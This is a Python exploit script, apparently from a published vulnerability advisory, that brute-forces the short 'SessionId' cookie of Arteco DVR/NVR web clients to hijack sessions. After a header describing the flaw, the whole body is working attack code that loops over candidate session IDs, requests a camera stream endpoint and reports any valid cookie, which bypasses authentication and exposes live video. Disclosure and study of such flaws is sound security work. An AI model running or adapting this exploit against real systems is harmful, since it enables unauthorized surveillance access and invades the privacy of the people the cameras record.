#!/usr/bin/env python3
#
#
# Arteco Web Client DVR/NVR 'SessionId' Cookie Brute Force Session Hijacking Exploit
#
#
# Vendor: Arteco S.U.R.L.
# Product web page: https://www.arteco-global.com
# Affected version: n/a
#
# Summary: Arteco DVR/NVR is a mountable industrial surveillance server
# ideal for those who need to manage IP video surveillance designed for
# medium to large installations that require high performance and reliability.
# Arteco can handle IP video sources from all major international manufacturers
# and is compatible with ONVIF and RTSP devices.
#
# Desc: The Session ID 'SessionId' is of an insufficient length and can be
# exploited by brute force, which may allow a remote attacker to obtain a
# valid session, bypass authentication and disclose the live camera stream.
#
# Tested on: Microsoft Windows 10 Enterprise
#            Apache/2.4.39 (Win64) OpenSSL/1.0.2s
#            Apache/2.2.29 (Win32) mod_fastcgi/2.4.6 mod_ssl/2.2.29 OpenSSL/1.0.1m
#            Arteco-Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2020-5613
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5613.php
#
#
# 16.11.2020
#

import sys,requests

class BrutusCookius:

    def __init__(self):
        self.validate=None
        self.cookies=None#
        self.params=None##
        self.stream=None##
        self.path=None####
        self.cgi=None#####
        self.ip=None######
        self.op=None######

    def check(self):
    	print('Usage: ./arteco.py IP')
    	exit(9)

    def bro(self):
        if len(sys.argv) !=2:
            self.check()
        else:    
            self.ip=sys.argv[1]
            print('[+] Target IP: '+self.ip)
            if not 'http' in self.ip:
                self.ip='http://{}'.format(self.ip)

    def force(self):

        # Check the Set-Cookie on the target and determine the length (varies per model/version)
        # Cookie: SessionId=15800 - range(10000,100000)
        # Cookie: SessionId=8350 - range(1000,10000)
        # Cookie: SessionId=502 - range(100,1000)

        self.op = range(17129,17149) # Tweak
        for j in self.op:
            session=requests.session()
            self.cookies=dict(SessionId=str(j))
            sys.stdout.write('[+] Trying ID: '+str(j))
            self.path='/arteco-mobile/'
            self.cgi='camera.fcgi'
            self.params='?serverId=1&camera=2&mode=1&szx=5&szy=5&qty=15&fps=1'
            self.validate=session.get(self.ip+self.path+self.cgi+self.params, cookies=self.cookies).headers
            if not 'artecomobile' in str(self.validate):
                print(' - NOPE.')
            else:
                print(' - BINGO!!!')
                print('[+] Active session found: '+str(j))
                print('[+] Use the cookie: SessionId='+str(j))
                exit(9)
        print('[!] Sorry, no valid session found.')

    def main(self):
        self.bro()
        self.force()

if __name__ == '__main__':
    BrutusCookius().main()